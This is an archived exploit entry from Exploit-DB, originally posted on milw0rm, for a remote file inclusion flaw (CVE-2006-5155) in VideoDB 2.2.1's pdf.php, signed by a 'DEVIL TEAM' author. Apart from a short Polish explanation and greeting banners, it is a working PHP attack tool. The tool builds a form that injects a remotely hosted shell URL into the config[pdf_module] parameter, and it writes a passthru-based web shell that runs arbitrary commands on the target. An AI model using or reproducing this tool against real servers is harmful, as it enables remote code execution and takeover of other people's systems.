VideoDB <= 2.2.1 pdf.php Remote File Include Exploit

2006-09-29T00:00:00
ID EDB-ID:2455
Type exploitdb
Reporter Kacper
Modified 2006-09-29T00:00:00

Description

VideoDB <= 2.2.1 (pdf.php) Remote File Include Exploit. CVE-2006-5155. Webapps exploit for php platform

                                        
                                            &lt;?php
/*
:::::::::  :::::::::: :::     ::: ::::::::::: :::        
:+:    :+: :+:        :+:     :+:     :+:     :+:        
+:+    +:+ +:+        +:+     +:+     +:+     +:+        
+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+        
+#+    +#+ +#+         +#+   +#+      +#+     +#+        
#+#    #+# #+#          #+#+#+#       #+#     #+#        
#########  ##########     ###     ########### ########## 
::::::::::: ::::::::::     :::     ::::    ::::  
    :+:     :+:          :+: :+:   +:+:+: :+:+:+ 
    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+ 
    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+ 
    +#+     +#+        +#+     +#+ +#+       +#+ 
    #+#     #+#        #+#     #+# #+#       #+# 
    ###     ########## ###     ### ###       ### 
	
	
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- VideoDB &lt;= 2.2.1 Remote File Include Exploit
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: VideoDB 2.2.1
- [Script site: http://sourceforge.net/projects/videodb/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-    DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam
+
-          Contact: kacper1964@yahoo.pl
-                        or
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi, mivus
-                 SkD, nukedclx, Ramzes
-
- Greetz for all users DEVIL TEAM IRC Channel !!
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mala instrukcja exploita:
w pliku: core/pdf.php znajdziemy kod:
....
define('FPDF', $config['pdf_module']);
define('FPDF_FONTPATH', FPDF.'/font/');

require_once FPDF.'/fpdf.php';
require_once './core/functions.php';
require_once './engines/engines.php';
require_once './core/VariableStream.class.php';
....
jak widaæ jest define, lecz ciagle funkcja FPDF nie jest przypisana,
gratuluje pomyslu autorowy :)
*/

$cmd = $_POST["cmd"];
$glowna = $_POST["glowna"];
$shell = $_POST["shell"];
$exp= "&lt;title&gt;VideoDB &lt;= 2.2.1 Remote File Include Exploit :: DEVIL TEAM :: The Best Polish Team ::&lt;/title&gt;"
."&lt;style type=\"text/css\"&gt;"
."body {background-color: #000000;}"
."body,td,th {color: #FFFFFF;}"
."&lt;/style&gt;&lt;form method=\"post\" action=\"".$glowna.$shell."?cmd=".$cmd."\"&gt;"
."&lt;div align=\"center\"&gt;&lt;img src=\"http://www.rahim.webd.pl/index_r2_c3.jpg\"&gt;&lt;/div&gt;"
."&lt;p align=\"center\"&gt;script url: (ex. http://www.site.com/[videodb_path]/core/pdf.php?config[pdf_module]=)&lt;br&gt;"
."&lt;input type=\"text\" name=\"glowna\" size=\"90\"".$glowna."\"&gt;"
."&lt;br&gt;"
."shell url: (ex. http://www.site.com/[path]/shell.txt?) shell.txt (CHMOD 777)&lt;br&gt;"
."&lt;input type=\"text\" name=\"shell\" size=\"90\"".$shell."\"&gt;"
."&lt;br&gt;"
."cmd: (ex. ls -la)&lt;br&gt;"
."&lt;input name=\"cmd\" type=\"text\" size=\"90\"".$cmd."\"&gt;"
."&lt;br&gt;"
."&lt;input type=\"submit\" value=\"Exploit\" name=\"submit\"&gt;"
."&lt;/p&gt;"
."&lt;p align=\"center\"&gt;Find by: &lt;a href=\"mailto:kacper1964@yahoo.pl\"&gt;Kacper&lt;/a&gt; (a.k.a &lt;a href=\"mailto:kacper1964@yahoo.pl\"&gt;Rahim&lt;/a&gt;)&lt;br&gt;"
."&lt;br&gt;"
."DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam&lt;br&gt;"
."&lt;br&gt;"
."Contact: &lt;a href=\"mailto:kacper1964@yahoo.pl\"&gt;kacper1964@yahoo.pl&lt;/a&gt;&lt;br&gt;"
."or&lt;/p&gt;"
."&lt;p align=\"center\"&gt; &lt;a href=\"http://www.rahim.webd.pl/\"&gt;http://www.rahim.webd.pl/&lt;/a&gt;&lt;/p&gt;"
."&lt;p align=\"center\" class=\"name\"&gt;&nbsp;&lt;/p&gt;"
."&lt;HR WIDTH=\"650\" ALIGN=\"center\"&gt;"
."&lt;p align=\"center\"&gt; Z Dedykacja dla osoby,&lt;br&gt;"
."bez ktorej nie mogl bym zyc...&lt;br&gt;"
."K.C:* J.M (a.k.a Magaja)&lt;/p&gt;"
."&lt;p align=\"center\"&gt;&nbsp;&lt;/p&gt;"
."&lt;p align=\"center\"&gt; Special Greetz: DragonHeart ;-)&lt;br&gt;"
."Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi&lt;br&gt;"
."SkD, nukedclx, Ramzes&lt;br&gt;"
."&lt;br&gt;"
."Greetz for all users DEVIL TEAM IRC Channel !!&lt;br&gt;"
."!@ Przyjazni nie da sie zamienic na marne korzysci @!&lt;/p&gt;"
."&lt;HR WIDTH=\"650\" ALIGN=\"center\"&gt;"
."&lt;p align=\"center\"&gt;&nbsp;&lt;/p&gt;"
."&lt;/form&gt;";

if (!isset($_POST['submit'])) 
{
echo $exp;
}else{
$file = fopen ("shell.txt", "w+");
fwrite($file, '&lt;?php ob_clean();echo"Hacker_Kacper_Made_in_Poland:)";ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?&gt;');
fclose($file);
$file = fopen ($shell, "r");
if (!$file) {
    echo "&lt;p&gt;Don't Find shell :( Insert in FTP shell.txt.\n";
    exit;
}
echo $exp;
while (!feof ($file)) {
    $line .= fgets ($file, 1024)."&lt;br&gt;";
    }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
}
?&gt;

# milw0rm.com [2006-09-29]